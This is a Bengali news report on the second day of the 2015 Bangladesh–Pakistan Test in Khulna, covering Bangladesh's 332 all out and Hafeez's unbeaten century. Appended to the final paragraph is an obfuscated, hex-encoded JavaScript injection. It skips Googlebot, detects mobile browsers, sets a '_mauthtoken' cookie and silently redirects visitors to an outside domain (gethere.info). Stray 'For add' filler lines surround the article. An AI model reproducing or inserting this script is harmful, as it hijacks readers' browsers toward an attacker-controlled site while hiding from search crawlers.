for Add
: ২৯ এপ্রিল ২০১৫, বুধবার, ২০:৫৭:১৭
নিজস্ব প্রতিবেদক : টেস্ট বলেই কথা। মুহুর্তেই যেখানে বদলে যেতে পারে অনেক কিছু। আজ উইকেটের আচরণ খারাপ তো পরের দিন ঠিক তার উল্টো। টেস্ট খেলতে নেমে অগ্রিম কথা বলাও যেখানে অদৃশ্যে ঢিল মারার সামিল। ঠিক তেমনি কিছু কথা বলেছেন প্রথম দিনের ব্যাটিংয়ের পর টেস্ট ক্রিকেটে ছোট-খাটো কৃতিত্বে নাম লেখানো মমিনুল হক। খুলনার উইকেটে তিনশত রান চ্যালেঞ্জিং, অন্তত পাকিস্তানের বিপক্ষে। কিন্তু দ্বিতীয় দিন শেষে আজ (বুধবার) বাস্তবতার চিত্র ছিলো ভিন্ন। বাংলাদেশের ইনিংস ঠিকই তিনশত রানের উপরে, ৩৩২ রান। পরের গল্প যে লিখে যাচ্ছেন পাকিস্তানের ব্যাটসম্যানরা। প্রশংসার সব সারকথাই তাদের নিয়ে। এদিন বাংলাদেশকে ঘিরে ছিল যত ব্যর্থতার চিত্র। ওয়ানডে এবং টি-টোয়েন্টির পর এখানেই স্বাগতিকরা দেখতে পেয়েছেন চিন্তার সঙ্গে বাস্তবতার কতোটা অমিল।
আগের দিন ৪ উইকেটে ২৩৬ রান করার পর বুধবার শুধু ইনিংস শেষের গান গাইতে দেখা গেছে বাংলাদেশের ব্যাটসম্যানদের। ব্যাটিং নির্ভরতার প্রতীক মুশফিক, সাকিব, সৌম্য সরকাররা যেখানে রান তুলতে গিয়ে আত্মহুতি দিয়েছেন, সেখানে একই উইকেটে পাকিস্তান দিনশেষে ১ উইকেটে করেছে ২২৭ রান। বাংলাদেশের রান রেটের সঙ্গেও যেখানে বিস্তর ফারাক। ইনিংস শেষে বাংলাদেশের রান রেট ২.৭৬। আর পাকিস্তানের দিনশেষে ৩.৯১। টেস্টে দু’দলের প্রার্থক্যটা এখানেই অনেকটা পরিস্কার। খুলনার যে উইকেটে সকালের সেশনে বাংলাদেশের ব্যাটসম্যানরা ছিলেন তটস্থ সেখানে অনায়াসে ব্যাট চালিয়েছেন হাফিজ ও আজাহার আলী।
হাফিজ খেলেছেন সহজাত ইনিংস। ৬৭ বলে করেছেন হাফসেঞ্চুরি। এরপর তিন অংকের ঘরে গেছেন ১২৩ বলে। টেস্ট ক্রিকেটে এটি তার টানা তৃতীয় সেঞ্চুরি। ওপেনিংয়ে খেলতে নেমে হাফিজ ১৭৯ বলে ১২টি চার ও ২টি ছয়ে অপরাজিত আছেন ১৩৭ রান নিয়ে। তার সঙ্গে তৃতীয় দিনে ব্যাটিংয়ে নামবেন আজহার আলী। ক্যারিয়ারের ১৯তম হাফসেঞ্চুরি করে এখন যিনি তাকিয়ে সেঞ্চুরির দিকে। অপরাজিত আছেন ১৩৬ বলে ৬৫ রানে।
হাফিজ-আজহার জুটিই মূলত বাংলাদেশের বোলারদের সামনে বড় বাধা হয়ে দাড়িয়েছেন। তাদের জুটিতে আসে ১৭৭ রান। সারাদিনে বাংলাদেশের সাফল্য,তাইজুল ইসলামের পাওয়া এক উইকেট। দলীয় ৫০ রানে তিনি সাদ সামীকে ২০ সাজঘরে ফিরিয়েছেন। তবে কিছুটা ভিন্ন চিত্র দেখারও সুযোগ ছিলো। কিন্তু মিস ফিল্ডিংয়ে আজহার আলীকে দুই বার লাইফ দিয়ে সে সুযোগ হারিয়েছে টাইগাররা। ব্যক্তিগত ১১ রানে রিয়াদ এবং ২৮ রানে মুশফিক ক্যাচ ধরতে ব্যর্থ হন। ক্যাচ মিস করার মূহর্তে উল্টো ইনজুরি হয়ে মাঠ ছেড়েছেন মুশফিকুর রহিম। তার স্থানে কিপিং করেছেন ইমরুল কায়েস।
খুলনার ব্যাটিং সহায়ক উইকেটে পাকিস্তান নিজেদের খুজে পেলেও পাননি টাইগাররা। সকালের সেশনেই সে দৃশ্য দেখা গেছে বাংলাদেশের ব্যাটিংয়ে। আগের দিনের সঙ্গে মাত্র ৯৬ রান যোগ করেছেন ৬ ব্যাটম্যানে। দিনের শুরুতেই সাকিব সাজঘরে ফিরেছেন। আগের দিন ১৯ রানের সঙ্গে মাত্র ৬ রান যো করেই তিনি বিদায় হয়েছেন জুলফিকার বাবরের বলে আসাদ শাফিকের তালুবন্দি হয়ে। এরপর মুশফিক এবং সৌম্য সরকারও পারেননি টেস্ট ক্রিকেটের মেজাজটা ধরে রাখতে। অথচ রানের সঙ্গে উইকেট আগলে রাখাই যেখানে টেস্টের প্রধান দ্বায়িত্ব। অথচ মুশফিক ৩২ এবং সৌম্য ৩৩ রানেই যথাক্রমে ইয়াসির ও হাফিজের শিকার হয়েছেন। তাতেই দুই ঘন্টারও কম সময়ে বাংলাদেশের ইনিংস গুড়িয়ে যায়। এতে মাত্র ৩০ ওভারে ৬ উইকেটে টাইগারদের সংগ্রহে যোগ হয়েছে ৯৬ রান। শেষ ২৭টি রান যোগ করতে গিয়ে বাংলাদেশ হারিয়েছে ৫ উইকেট। সান্তনা এতটুকুই-দেশের মাটিতে পাকিস্তানের বিপক্ষে দ্বিতীয় সর্বোচ্চ ইনিংস। আগে সর্বোচ্চ ৩৩৮ রান ছিল মিরপুরে, ২০১১ সালে।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add